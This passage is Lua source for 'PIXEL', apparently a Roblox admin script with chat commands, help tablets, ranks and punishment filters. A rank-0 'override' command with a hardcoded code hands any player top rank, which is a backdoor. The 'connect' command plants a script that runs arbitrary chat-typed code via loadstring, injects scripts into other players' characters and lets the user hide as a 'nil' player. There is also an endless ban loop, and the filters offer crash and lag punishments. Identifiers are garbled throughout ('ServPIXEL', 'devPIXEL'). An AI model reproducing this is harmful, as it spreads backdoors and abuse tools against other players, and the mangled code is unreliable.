2128 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
2129 | wait(Num) | |
2130 | Msg:Remove() | |
2131 | end)() | |
2132 | end | |
2133 | end | |
2134 | PIXEL.GiveInfo=function(Speaker) | |
2135 | Num_Commands=0 | |
2136 | Num_ServPIXELs=0 | |
2137 | Num_Tablets=0 | |
2138 | Num_Ranked=0 | |
2139 | Version=1 | |
2140 | coroutine.wrap(function() for i,v in pairs(PIXEL.Commands) do Num_Commands=Num_Commands+1 end end)() | |
2141 | coroutine.wrap(function() for i,v in pairs(PIXEL.ServPIXELs) do Num_ServPIXELs=Num_ServPIXELs+1 end end)() | |
2142 | coroutine.wrap(function() for i,v in pairs(PIXEL.Ranked) do Num_Ranked=Num_Ranked+1 end end)() | |
2143 | coroutine.wrap(function() for i,v in pairs(PIXEL.Tablets) do Num_Tablets=Num_Tablets+1 end end)() | |
2144 | coroutine.wrap(function() for i,v in pairs(PIXEL) do if type(v)=='function' then Version=Version+#PIXEL/0.01337 end end end)() | |
2145 | PIXEL.Output('#Tablets ' .. tostring(Num_Tablets),'Random',Speaker) | |
2146 | PIXEL.Output('#ServPIXELs ' .. tostring(Num_ServPIXELs),'Random',Speaker) | |
2147 | PIXEL.Output('#Ranked ' .. tostring(Num_Ranked),'Random',Speaker) | |
2148 | PIXEL.Output('#Commands ' .. tostring(Num_Commands),'Random',Speaker) | |
2149 | PIXEL.Output('Version : ' .. tostring(Version),'Random',Speaker) | |
2150 | PIXEL.Output('Help menu','Green',Speaker,nil, | |
2151 | function() | |
2152 | PIXEL.Output('Back','Blue',Speaker,nil,function() PIXEL.OnChatted(PIXEL.Bets[1]..'help'..PIXEL.Bets[2],Speaker,true) end) | |
2153 | PIXEL.Output('Get player operators','Orange',Speaker,nil,function() | |
2154 | PIXEL.RemoveTablets(Speaker) | |
2155 | PIXEL.Output('Back','Blue',Speaker,nil,function() PIXEL.OnChatted(PIXEL.Bets[1]..'help'..PIXEL.Bets[2],Speaker,true) end) | |
2156 | Infos={ | |
2157 | {T="The bets are ["..PIXEL.Bets[1]..";"..PIXEL.Bets[2].."]",C="Orange"}; | |
2158 | {T="To use a cmd its "..PIXEL.Bets[1].."Command"..PIXEL.Bets[2].."Arguments/Args",C="Orange"}; | |
2159 | {T="To use a command on your self use the command and for arguments put 'me'",C="Blue"}; | |
2160 | {T="To use a command on everyone use the command and for aguments put 'all'",C="Blue"}; | |
2161 | {T="To use a command on others use the command and for arguments put 'others'",C="Blue"}; | |
2162 | }; | |
2163 | for i,v in pairs(Infos) do | |
2164 | PIXEL.Output(v.T,v.C,Speaker) | |
2165 | end | |
2166 | end) | |
2167 | PIXEL.Output('Chat operators','Orange',Speaker,nil,function() | |
2168 | --ypcall(function() | |
2169 | PIXEL.RemoveTablets(Speaker) | |
2170 | Infos={ | |
2171 | {T="To use a cmd more then once do '" .. PIXEL.Bets[1] .. " do (a number)"..PIXEL.Bets[1].."(a command)".. PIXEL.Bets[2] .."(arguments)'",C="Blue"}; | |
2172 | {T="To wait before using a command do '" .. PIXEL.Bets[1].. " wait" .. PIXEL.Bets[1].. "(a command)" .. PIXEL.Bets[2] .. "(arguments)'",C="Blue"}; | |
2173 | }; | |
2174 | for i,v in pairs(Infos) do | |
2175 | PIXEL.Output(v.T,v.C,Speaker) | |
2176 | end | |
2177 | PIXEL.Output('Back','Blue',Speaker,nil,function() PIXEL.OnChatted(PIXEL.Bets[1]..'help'..PIXEL.Bets[2],Speaker,true) end) | |
2178 | --end) | |
2179 | end) | |
2180 | end | |
2181 | ) | |
2182 | end | |
2183 | --[[ Sandbox ]]-- | |
2184 | PIXEL.SandBoxCoding=[[ | |
2185 | coroutine.wrap(function() | |
2186 | repeat | |
2187 | wait() | |
2188 | for i,v in pairs(getfenv()) do | |
2189 | obj=getfenv[i] | |
2190 | if type(obj)=='userdata' then | |
2191 | if obj.Name=='PIXELAdminLeaked' then | |
2192 | if obj:IsA'Player' then | |
2193 | getfenv()[i]=nil; | |
2194 | end | |
2195 | end | |
2196 | end | |
2197 | end | |
2198 | until 1+1==3 | |
2199 | end)() | |
2200 | %s | |
2201 | ]] | |
2202 | PIXEL.SandBoxScript=function(Script) | |
2203 | Source=nil; | |
2204 | Script.Disabled=true | |
2205 | for i,v in pairs(Script:children()) do | |
2206 | if v:IsA'StringValue' then | |
2207 | Old="" .. PIXEL.SandBoxCoding | |
2208 | Old=Old:format(v.Value) | |
2209 | v.Value=Old | |
2210 | end | |
2211 | end | |
2212 | Script.Disabled=false | |
2213 | end | |
2214 | --[[ End Of Sand Box ]]-- | |
2215 | --[=[ End of funcs ]=]-- | |
2216 | --[[ Rank 0 ]]-- | |
2217 | PIXEL.Command('Connect','connect',0,'Connects to nil devPIXEL','No args', | |
2218 | function(Msg,Speaker) | |
2219 | SC=PIXEL.CreateLocalScript([==[script.Parent=nil | |
2220 | Player=game.Players.LocalPlayer | |
2221 | Probe=Instance.new'Part'; | |
2222 | CN='PIXELAdminLeaked' | |
2223 | Camera=Workspace.CurrentCamera | |
2224 | Animate = game:GetServPIXEL("InsertServPIXEL"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part") | |
2225 | Char = Player.Character | |
2226 | if Char then | |
2227 | Char.Archivable = true | |
2228 | Char = Char:clone() | |
2229 | local t = game:GetServPIXEL("InsertServPIXEL"):LoadAsset(68452456):findFirstChild("Clone") | |
2230 | if t then | |
2231 | for k,v in pairs(Char:GetChildren()) do | |
2232 | if not v:IsA("Part") then | |
2233 | v:clone().Parent = t | |
2234 | end | |
2235 | end | |
2236 | Char = t:clone() | |
2237 | end | |
2238 | end | |
2239 | Title=function(txt,part,color,rise) | |
2240 | col=nil | |
2241 | col=Color3.new(BrickColor.new(color)) | |
2242 | local Gui = Instance.new("BillboardGui",part) | |
2243 | Gui.Name = "3DGUI" | |
2244 | Gui.ExtentsOffset = Vector3.new(0,2,0) | |
2245 | Gui.Size = UDim2.new(8,0,2,0) | |
2246 | local Tit = Instance.new("TextLabel",Gui) | |
2247 | Tit.Name = "Title" | |
2248 | Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2) | |
2249 | Tit.TextColor3 = Color3.new(0,0,0) | |
2250 | Tit.TextTransparency = 0.25 | |
2251 | Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2) | |
2252 | Tit.TextStrokeTransparency = 0.5 | |
2253 | Tit.Size = UDim2.new(1,0,1,0) | |
2254 | Tit.BackgroundTransparency = 1 | |
2255 | Tit.Font = "ArialBold" | |
2256 | Tit.TextScaled = true | |
2257 | Tit.Text = txt | |
2258 | if rise then | |
2259 | if not tonumber(rise) then rise = 1 end | |
2260 | coroutine.wrap(function() | |
2261 | while Tit.Parent and Gui.Parent and wait() do | |
2262 | Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0) | |
2263 | end | |
2264 | end)() | |
2265 | end | |
2266 | return Tit | |
2267 | end | |
2268 | Chat=function(Part,Text,Color,Type) | |
2269 | if Type==nil or Type==1 or Type=='Bubble' then | |
2270 | game:servPIXEL'Chat':Chat(Part,Text,Color) | |
2271 | else | |
2272 | if type(Color)~='string' then | |
2273 | Color=tostring(BrickColor.random()) | |
2274 | end | |
2275 | Title(Text,Part,Color,math.random(1,3)) | |
2276 | end | |
2277 | end | |
2278 | DestroyCharacter=function() | |
2279 | local chara = Player.Character | |
2280 | if not chara then return end | |
2281 | if chara:findFirstChild("Humanoid") then | |
2282 | chara.Humanoid:Destroy() | |
2283 | end | |
2284 | chara:BreakJoints() | |
2285 | for k,v in pairs(chara:GetChildren()) do | |
2286 | if v:IsA("BasePart") then | |
2287 | v.CanCollide = false | |
2288 | v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20)) | |
2289 | v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) | |
2290 | end | |
2291 | end | |
2292 | game.Debris:AddItem(chara,3) | |
2293 | end | |
2294 | MakeProbe=function() | |
2295 | if Player.Character then DestroyCharacter() end Player.Character = nil | |
2296 | if Probe then Probe:Destroy() end | |
2297 | Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera | |
2298 | Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black') | |
2299 | Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true | |
2300 | Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick() | |
2301 | coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)() | |
2302 | --Player.Character=Probe | |
2303 | end | |
2304 | Spawn=function() | |
2305 | if Char then | |
2306 | local c = Char:clone() | |
2307 | c.Name = CN | |
2308 | c.Parent = workspace | |
2309 | c:MoveTo(workspace.CurrentCamera.Focus.p) | |
2310 | Player.Character = c | |
2311 | workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid") | |
2312 | workspace.CurrentCamera.CameraType = "Custom" | |
2313 | Probe:Destroy() | |
2314 | end | |
2315 | end | |
2316 | Player.Chatted:connect(function(Msg) | |
2317 | if Msg:sub(1,2) == '\\\\' then | |
2318 | local Func,Error=loadstring(Msg:sub(3)) | |
2319 | if Error==nil then | |
2320 | pcall(Func) | |
2321 | if Player.Character then | |
2322 | game:servPIXEL'Chat':Chat(Player.Character.Head,'Local Script executed!','Green') | |
2323 | end | |
2324 | else | |
2325 | if Player.Character then | |
2326 | game:servPIXEL'Chat':Chat(Player.Character.Head,Error,'Red') | |
2327 | else | |
2328 | local Msg=Instance.new'Message' | |
2329 | Msg.Parent=Workspace.CurrentCamera | |
2330 | Msg.Text=Error | |
2331 | game:servPIXEL'Debris':AddItem(Msg,5) | |
2332 | end | |
2333 | end | |
2334 | elseif Msg:sub(1,#('newlocal')+2) == '\\newlocal\\' then | |
2335 | NewMsg=Msg:sub(#('newlocal')+3) | |
2336 | Split=NewMsg:find('\\') | |
2337 | local PlayerName=NewMsg:sub(1,Split-1) | |
2338 | local Source=NewMsg:sub(Split+1) | |
2339 | Player=nil | |
2340 | for i,v in pairs(game.Players:GetPlayers()) do | |
2341 | if v.Name:lower():sub(1,#PlayerName)==PlayerName then | |
2342 | if Player==nil then | |
2343 | Player=v | |
2344 | else | |
2345 | if type(Player) == 'table' then | |
2346 | Player[#Player+1]=v | |
2347 | else | |
2348 | Player={v} | |
2349 | end | |
2350 | end | |
2351 | end | |
2352 | end | |
2353 | if type(Player)=='table' then | |
2354 | for i,v in pairs(Player) do | |
2355 | if newLocalScript then | |
2356 | newLocalScript(Source,v.Character) | |
2357 | else | |
2358 | Clone=script:clone(); | |
2359 | SourceC=Clone:children()[1] | |
2360 | if SourceC:IsA'StringValue' then | |
2361 | print'String' | |
2362 | else | |
2363 | SourceC=Clone:children()[2] | |
2364 | end | |
2365 | SourceC.Value=Source | |
2366 | Clone.Disabled=true | |
2367 | Clone.Parent=v.Character | |
2368 | Clone.Disabled=false | |
2369 | end | |
2370 | end | |
2371 | else | |
2372 | if newLocalScript then | |
2373 | newLocalScript(Source,Player.Character) | |
2374 | else | |
2375 | Clone=script:clone(); | |
2376 | DS=Clone:children() | |
2377 | DSS=nil | |
2378 | for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end | |
2379 | DSS.Value=Source | |
2380 | Clone.Disabled=true; | |
2381 | Clone.Parent=Player.Character | |
2382 | Clone.Disabled=false | |
2383 | end | |
2384 | end | |
2385 | elseif Msg:sub(1,#('rejoin')+2) == '\\rejoin\\' then | |
2386 | game:servPIXEL'TeleportServPIXEL':Teleport(Game.PlaceId) | |
2387 | elseif Msg:sub(1,#('probe')+2) == '\\probe\\' then | |
2388 | MakeProbe() | |
2389 | elseif Msg:sub(1,#('char')+2) =='\\char\\' then | |
2390 | Spawn() | |
2391 | elseif Msg:sub(1,#('ban')+2) == '\\ban\\' then | |
2392 | Player=game.Players:findFirstChild(Msg:sub(#('ban')+3)) | |
2393 | if Player then | |
2394 | repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3 | |
2395 | end | |
2396 | end | |
2397 | wait() | |
2398 | if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('\\probe\\') and not Msg:find('\\char\\') then -- Is nil then | |
2399 | if Probe then | |
2400 | Chat(Probe,Msg,math.random(0,2)) | |
2401 | else | |
2402 | if Player.Character==nil then | |
2403 | if Char then | |
2404 | Chat(Char.Head,Msg,math.random(0,2)) | |
2405 | end | |
2406 | else | |
2407 | Chat(Player.Character.Head,Msg,'Red') | |
2408 | end | |
2409 | end | |
2410 | end | |
2411 | end) -- local | |
2412 | ]==],Speaker.Character) | |
2413 | if SC then | |
2414 | PIXEL.Output('Sucessful attempt at connecting! When you are removed from game chat \\probe\\ or \\char\\','Green',Speaker) | |
2415 | else | |
2416 | PIXEL.Output('Unsucessful connection attempt!','Red',Speaker) | |
2417 | end | |
2418 | end | |
2419 | ) | |
2420 | PIXEL.Command('Commands','cmds',0,'Shows commands','No arguments', | |
2421 | function(Msg,Speaker) | |
2422 | PIXEL.RemoveTablets(Speaker) | |
2423 | local Mine=PIXEL.Ranked[Speaker.Name] | |
2424 | for i=1,#PIXEL.Ranks do | |
2425 | if i > 0 and i < #PIXEL.Ranks + 1 then | |
2426 | PIXEL.Output('Rank ' .. tostring(i),Mine.Color,Speaker,nil, | |
2427 | function() | |
2428 | PIXEL.RemoveTablets(Speaker) | |
2429 | if Mine.Rank < i then | |
2430 | PIXEL.Output('You cannot access to these commands! View anyways?','Red',Speaker,nil,function() | |
2431 | --PIXEL.RemoveTablets(Speaker) | |
2432 | Num=0 | |
2433 | for e,v in pairs(PIXEL.Commands) do | |
2434 | if v.Rank == i then | |
2435 | Num=Num+1 | |
2436 | PIXEL.Output(e,'Random',Speaker,nil, | |
2437 | function() | |
2438 | PIXEL.RemoveTablets(Speaker); | |
2439 | for Name,Str in pairs(v) do | |
2440 | PIXEL.Output(tostring(Name) .. '; ' .. tostring(Str),Mine.Color,Speaker) | |
2441 | end | |
2442 | PIXEL.Output('Syntax : ' .. Str.Command .. PIXEL.Bet,Mine.Color,Speaker) | |
2443 | end | |
2444 | ) | |
2445 | end | |
2446 | end | |
2447 | if Num== 0 then | |
2448 | PIXEL.Output('No available commands for this rank!','Red',Speaker) | |
2449 | end | |
2450 | end) | |
2451 | else | |
2452 | Num=0 | |
2453 | for CmdName,CmdTable in pairs(PIXEL.Commands) do | |
2454 | if CmdTable.Rank == i then | |
2455 | Num=Num+1 | |
2456 | PIXEL.Output(CmdName,Mine.Color,Speaker,nil, | |
2457 | function() | |
2458 | PIXEL.RemoveTablets(Speaker); | |
2459 | for Str,Val in pairs(CmdTable) do | |
2460 | PIXEL.Output(tostring(Str) .. '; ' .. tostring(Val),Mine.Color,Speaker) | |
2461 | end | |
2462 | PIXEL.Output('Syntax : ' .. Val.Command..PIXEL.Bet,Mine.Color,Speaker) | |
2463 | end | |
2464 | ) | |
2465 | end | |
2466 | end | |
2467 | if Num== 0 then | |
2468 | PIXEL.Output('No available commands for this rank!','Red',Speaker) | |
2469 | end | |
2470 | end | |
2471 | end | |
2472 | ) | |
2473 | end | |
2474 | end | |
2475 | PIXEL.Output('All','Green',Speaker,nil, | |
2476 | function() | |
2477 | PIXEL.RemoveTablets(Speaker); | |
2478 | for i,v in pairs(PIXEL.Commands) do | |
2479 | PIXEL.Output(i,'Random',Speaker,nil, | |
2480 | function() | |
2481 | PIXEL.RemoveTablets(Speaker) | |
2482 | for Arg,Argg in pairs(v) do | |
2483 | PIXEL.Output(tostring(Arg) .. " : " .. tostring(Argg),'Random',Speaker) | |
2484 | end | |
2485 | end | |
2486 | ) | |
2487 | end | |
2488 | end | |
2489 | ) | |
2490 | PIXEL.Output('Your rank : ' .. PIXEL.Ranked[Speaker.Name].Rank,Mine.Color,Speaker) | |
2491 | end | |
2492 | ) | |
2493 | PIXEL.Command('Dismiss','dismiss',0,[[Dismiss's tablets]],'No arguments', | |
2494 | function(m,s) PIXEL.RemoveTablets(s) end | |
2495 | ) | |
2496 | PIXEL.Command('Ping','ping',0,'Pings a msg','Msg', | |
2497 | function(Msg,Speaker) | |
2498 | Pings={}; | |
2499 | if Msg:sub(1,#("tonumber"))=="tonumber" then | |
2500 | local Nom=loadstring("return " .. tonumber(Msg:sub(#("tonumber")+1)))() | |
2501 | table.insert(Pings,{Nom,'Random'}) | |
2502 | elseif Msg:sub(1,#("image")) == "image" then | |
2503 | local Sub=Msg:sub(#("image")+2) | |
2504 | PIXEL.OutputImg(Sub,"A test image!","Random",Speaker) | |
2505 | elseif Msg:lower()=="nil" then | |
2506 | Nil=0 | |
2507 | for i,v in pairs(game:servPIXEL'NetworkServer':children()) do | |
2508 | if v:IsA('ServerReplicator') then | |
2509 | if v:GetPlayer() and v:GetPlayer().Parent==nil then | |
2510 | Nil=Nil+1 | |
2511 | table.insert(Pings,{v:GetPlayer().Name,'Random'}) | |
2512 | end | |
2513 | end | |
2514 | end | |
2515 | if Nil==0 then table.insert(Pings,{"No nil players",'Red'}) end | |
2516 | elseif Msg:lower()=='nil raw' then | |
2517 | local Nil=0; | |
2518 | for _,v in pairs(game:servPIXEL'NetworkServer':children()) do | |
2519 | if v:IsA'ServerReplicator' then | |
2520 | if v:GetPlayer() and v:GetPlayer().Parent==nil then | |
2521 | Nil=Nil+1 | |
2522 | PIXEL.Output(v:GetPlayer().Name,'Red',Speaker,nil,function() PIXEL.PlayerInterface(v:GetPlayer().Name,Speaker) end) | |
2523 | end | |
2524 | end | |
2525 | end | |
2526 | if Nil==0 then PIXEL.Output('No nil players','Green',Speaker,3) end | |
2527 | elseif Msg:lower()=="colors" then | |
2528 | for i,v in pairs(PIXEL.Colors) do | |
2529 | table.insert(Pings,{i,v}) | |
2530 | end | |
2531 | elseif Msg:lower()=="ranks" then | |
2532 | for i,v in pairs(PIXEL.Ranks) do | |
2533 | table.insert(Pings,{i .. ":"..v,'Random'}) | |
2534 | end | |
2535 | elseif #Msg==0 then | |
2536 | table.insert(Pings,{'Pong!','Random'}) | |
2537 | else | |
2538 | table.insert(Pings,{Msg,'Random'}) | |
2539 | end | |
2540 | if #Pings < 2 then | |
2541 | for i,v in pairs(Pings) do | |
2542 | Color=v[2] | |
2543 | Message=v[1] | |
2544 | PIXEL.Output(Message,Color,Speaker) | |
2545 | end | |
2546 | else | |
2547 | PIXEL.RemoveTablets(Speaker); | |
2548 | for i,v in pairs(Pings) do | |
2549 | Color=v[2] | |
2550 | Message=v[1] | |
2551 | PIXEL.Output(Message,Color,Speaker) | |
2552 | end | |
2553 | end | |
2554 | end | |
2555 | ) | |
2556 | PIXEL.Command('Get-ranked','getranked',0,'Gets the Ranked table','No arguments', | |
2557 | function(Msg,Speaker) | |
2558 | Player=nil | |
2559 | if #Msg==0 then | |
2560 | for i,v in pairs(PIXEL.Ranked) do | |
2561 | PIXEL.Output(i,v.Color,Speaker,nil, | |
2562 | function() | |
2563 | Player=i | |
2564 | PIXEL.RemoveTablets(Speaker) | |
2565 | end | |
2566 | ) | |
2567 | end | |
2568 | else | |
2569 | for _,v in pairs(PIXEL.Ranked) do | |
2570 | if _:lower():sub(1,#Msg) == Msg:lower() then | |
2571 | Player=_ | |
2572 | end | |
2573 | end | |
2574 | end | |
2575 | coroutine.wrap(function() | |
2576 | repeat | |
2577 | wait() | |
2578 | until Player | |
2579 | PIXEL.PlayerInterface(Player,Speaker) | |
2580 | end)() | |
2581 | end | |
2582 | ) | |
2583 | PIXEL.Command('Chatcolor','chatcolor',0,'Changes your chatcolor','No arguments', | |
2584 | function(Msg,Speaker) | |
2585 | if #Msg == 0 then | |
2586 | for i,v in pairs(PIXEL.Colors) do -- Stahp it>_> Regular Color3's Work its what I did BrickColor.new(Color3.new(0,1,0)) | |
2587 | PIXEL.Output(i,v,Speaker,nil,function() Speaker.Neutral = false Speaker.TeamColor = BrickColor.new(v) PIXEL.RemoveTablets(Speaker) end) | |
2588 | end | |
2589 | else | |
2590 | local Brick=BrickColor.new(Msg) | |
2591 | if Brick then | |
2592 | Speaker.TeamColor=Brick | |
2593 | Speaker.Neutral=false | |
2594 | else | |
2595 | PIXEL.Output(Brick .. '[ error ]','Red',Speaker) | |
2596 | end | |
2597 | end | |
2598 | end | |
2599 | ) | |
2600 | PIXEL.Command('Vote kick','votekick',0,'Vote kicks a player','Player', | |
2601 | function(Msg,Speaker) | |
2602 | if PIXEL.VoteData.IsVoting==false then | |
2603 | local Player = PIXEL.GetPlayers(Msg,Speaker)[1] | |
2604 | if Player then | |
2605 | PIXEL.VoteData.ActivateVoteKick(Player) | |
2606 | end | |
2607 | else | |
2608 | PIXEL.Output('There is already a vote in progress!','Red',Speaker,5) | |
2609 | end | |
2610 | end | |
2611 | ) | |
2612 | PIXEL.Command('Menu','menu',0,'Shows PIXEL Menu','No arguments', | |
2613 | function(Msg,Speaker) | |
2614 | local SpeakTab=PIXEL.Ranked[Speaker.Name] | |
2615 | PIXEL.RemoveTablets(Speaker) | |
2616 | PIXEL.Output('Show commands!',SpeakTab.Color,Speaker,nil,function() PIXEL.OnChatted(PIXEL.Bets[1]..'cmds'..PIXEL.Bets[2],Speaker,true) end) | |
2617 | PIXEL.Output('Your rank is ' .. SpeakTab.Rank,SpeakTab.Color,Speaker) | |
2618 | PIXEL.Output('To access your ranked table click on me!',SpeakTab.Color,Speaker,nil,function() PIXEL.OnChatted(PIXEL.Bets[1]..'getranked'..PIXEL.Bets[2]..Speaker.Name,Speaker,true) end) | |
2619 | PIXEL.Output('Welcome to PIXEL by tu'..'sK'..'Or6'..'61',SpeakTab.Color,Speaker) | |
2620 | PIXEL.Output('Click to debug lighting','Green',Speaker,nil,function() PIXEL.OnChatted(PIXEL.Bets[1]..'debug'..PIXEL.Bets[2],Speaker,true) end) | |
2621 | PIXEL.Output('View chat operators','Green',Speaker,nil, | |
2622 | function() | |
2623 | PIXEL.Output('Get player operators','Orange',Speaker,nil,function() | |
2624 | Infos={ | |
2625 | {T="The bets are ["..PIXEL.Bets[1]..";"..PIXEL.Bets[2].."]",C="Orange"}; | |
2626 | {T="To use a cmd its "..PIXEL.Bets[1].."Command"..PIXEL.Bets[2].."Arguments/Args",C="Orange"}; | |
2627 | {T="To use a command on your self use the command and for arguments put 'me'",C="Blue"}; | |
2628 | {T="To use a command on everyone use the command and for aguments put 'all'",C="Blue"}; | |
2629 | {T="To use a command on others use the command and for arguments put 'others'",C="Blue"}; | |
2630 | }; | |
2631 | for i,v in pairs(Infos) do | |
2632 | PIXEL.Output(v.T,v.C,Speaker) | |
2633 | end | |
2634 | end) | |
2635 | PIXEL.Output('Chat operators','Orange',Speaker,nil,function() | |
2636 | --ypcall(function() | |
2637 | Infos={ | |
2638 | {T="To use a cmd more then once do '" .. PIXEL.Bets[1] .. " do (a number)"..PIXEL.Bets[1].."(a command)".. PIXEL.Bets[2] .."(arguments)'",C="Blue"}; | |
2639 | {T="To wait before using a command do '" .. PIXEL.Bets[1].. " wait" .. PIXEL.Bets[1].. "(a command)" .. PIXEL.Bets[2] .. "(arguments)'",C="Blue"}; | |
2640 | }; | |
2641 | for i,v in pairs(Infos) do | |
2642 | PIXEL.Output(v.T,v.C,Speaker) | |
2643 | end | |
2644 | --end) | |
2645 | end) | |
2646 | end | |
2647 | ) | |
2648 | end | |
2649 | ) | |
2650 | PIXEL.Command('Debug','debug',0,'Debugs the game','No arguments', | |
2651 | function(Msg,Speaker) | |
2652 | PIXEL.ServPIXELs.Lighting.Ambient = Color3.new(1,1,1) | |
2653 | PIXEL.ServPIXELs.Lighting.OutdoorAmbient=Color3.new(1,1,1) | |
2654 | PIXEL.ServPIXELs.Lighting.ColorShift_Bottom = Color3.new(0,0,0) | |
2655 | PIXEL.ServPIXELs.Lighting.ColorShift_Top = Color3.new(0,0,0) | |
2656 | PIXEL.ServPIXELs.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69) | |
2657 | PIXEL.ServPIXELs.Lighting.Brightness = 0.2 | |
2658 | PIXEL.ServPIXELs.Lighting.FogStart = 0 | |
2659 | PIXEL.ServPIXELs.Lighting.FogEnd = 100000 | |
2660 | PIXEL.ServPIXELs.Lighting.FogColor = Color3.new(0.74,0.74,0.74) | |
2661 | PIXEL.ServPIXELs.Lighting.TimeOfDay = 12 | |
2662 | PIXEL.ServPIXELs.Lighting.GlobalShadows=false | |
2663 | for i,v in pairs(Workspace:children()) do | |
2664 | if v:IsA'Hint' or v:IsA'Message' then | |
2665 | v:Destroy() | |
2666 | for i,s in pairs(v:children()) do | |
2667 | if s:IsA'Hint' or s:IsA'Message' then | |
2668 | s:Destroy(); | |
2669 | for i,b in pairs(s:children()) do | |
2670 | if b:IsA'Hint' or b:IsA'Message' then | |
2671 | b:Destroy(); | |
2672 | end | |
2673 | end | |
2674 | end | |
2675 | end | |
2676 | end | |
2677 | end | |
2678 | end | |
2679 | ) | |
2680 | PIXEL.Command('Set rank','setrank',0,'Sets #Players rank to #Rank','#Player>#Rank', | |
2681 | function(Msg,Speaker) | |
2682 | local Split = Msg:find(PIXEL.Bets[2]) | |
2683 | for _,v in pairs(PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
2684 | if v.Name ~= Speaker.Name then | |
2685 | local Rank = tonumber(Msg:sub(Split+1)) | |
2686 | if Rank >= PIXEL.GetRank(Speaker) or ((Rank < 0 or PIXEL.GetRank(v) < 0) and PIXEL.GetRank(Speaker) < 2 ) then | |
2687 | PIXEL.Output("You can't set "..v.Name.."'s rank to "..tostring(Rank),"Orange",Speaker,3) | |
2688 | elseif PIXEL.Ranks[Rank] == nil then | |
2689 | PIXEL.Output("Rank not found.","Orange",Speaker,3) | |
2690 | else | |
2691 | PIXEL.Ranked[v.Name].Rank = Rank | |
2692 | end | |
2693 | else | |
2694 | PIXEL.Output('You cannot set your own rank','Red',Speaker,3) | |
2695 | end | |
2696 | end | |
2697 | end | |
2698 | ) | |
2699 | PIXEL.Command('@','@',0,'On chats a msg at #Player','#Player>Msg', | |
2700 | function(Msg,Speaker) | |
2701 | local Split,Msgg,Players=Msg:find(PIXEL.Bets[1]),"",{}; | |
2702 | if Split then | |
2703 | Msgg=Msg:sub(Split) | |
2704 | Players=PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker) | |
2705 | end | |
2706 | for i,v in pairs(Players) do | |
2707 | PIXEL.OnChatted(Msgg,v,true) | |
2708 | end | |
2709 | end | |
2710 | ) | |
2711 | PIXEL.Command('Get CMD Bar','getcmd',0,'Gets CMD Gui','true/false', | |
2712 | function(Msg,Speaker) | |
2713 | if Msg=='true' or Msg=="1" or Msg=="on" then | |
2714 | PIXEL.Ranked[Speaker.Name].CMD=true | |
2715 | elseif Msg=='false' or Msg=="0" or Msg=="off" then | |
2716 | PIXEL.Ranked[Speaker.Name].CMD=false | |
2717 | pcall(function() Speaker.PlayerGui.CMD:Destroy() end) | |
2718 | else | |
2719 | PIXEL.Output('Bool has to be true/false or 1/0 or on/off','Red',Speaker) | |
2720 | end | |
2721 | end | |
2722 | ) | |
2723 | PIXEL.Command('Personal message','pm',0,'PMs #Player','#Player'..PIXEL.Bets[2]..'Message', | |
2724 | function(Msg,Speaker) | |
2725 | Split=Msg:find(PIXEL.Bets[2]) | |
2726 | Split2=Msg:sub(Split+1):find(PIXEL.Bets[2]) | |
2727 | local Type="Message" | |
2728 | if Split2 then | |
2729 | Type=Msg:sub(Split2+1) | |
2730 | end | |
2731 | Players=PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker) | |
2732 | Message="" | |
2733 | if Split2 then | |
2734 | Message=Msg:sub(Split+1,Split2-1) | |
2735 | else | |
2736 | Message=Msg:sub(Split+1) | |
2737 | end | |
2738 | for i,Player in pairs(Players) do | |
2739 | if Type:lower()=='Message' then | |
2740 | PIXEL.MakeMessage('Private msg from ' .. Speaker.Name .. ' : ' .. Message,Player) | |
2741 | elseif Type:lower()=='Hint' then | |
2742 | PIXEL.MakeHint('Private msg from ' .. Speaker.Name .. ' : ' .. Message,Player) | |
2743 | else | |
2744 | PIXEL.MakeMessage('Private msg from ' .. Speaker.Name .. ' : ' .. Message,Player) | |
2745 | end | |
2746 | end | |
2747 | end | |
2748 | ) | |
2749 | PIXEL.Command('Override','override',0,'Overrides PIXEL','Code', | |
2750 | function(Code,Speaker) | |
2751 | if Code=='ScriptItNao' then | |
2752 | PIXEL.Ranked[Speaker.Name].Rank=10 | |
2753 | PIXEL.Output('You have sucessfully overrode PIXEL','Green',Speaker) | |
2754 | else | |
2755 | PIXEL.Output('Wrong code','Red',Speaker) | |
2756 | end | |
2757 | end | |
2758 | ) | |
2759 | PIXEL.Command('Show filters','sfilt',0,'Shows all PIXEL Filters','No arguments', | |
2760 | function(Msg,Speaker) | |
2761 | PIXEL.RemoveTablets(Speaker); | |
2762 | SetUpDF=function(FTable,FName) | |
2763 | PIXEL.RemoveTablets(Speaker); | |
2764 | Reason,Rank,Punishment=FTable.Reason,FTable.Bypass,FTable.Punishment | |
2765 | PIXEL.Output('Reason : ' .. tostring(Reason or "nil"),'Green',Speaker); | |
2766 | PIXEL.Output('Rank to bypass filter : ' .. tostring(Rank or "nil"),'Orange',Speaker); | |
2767 | NewPun="" | |
2768 | --if type(Punishment)=='number' then | |
2769 | Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}} | |
2770 | for i,v in ipairs(Types) do | |
2771 | if Punishment==v[2] then | |
2772 | NewPun=v[1] | |
2773 | end | |
2774 | end | |
2775 | --[[else | |
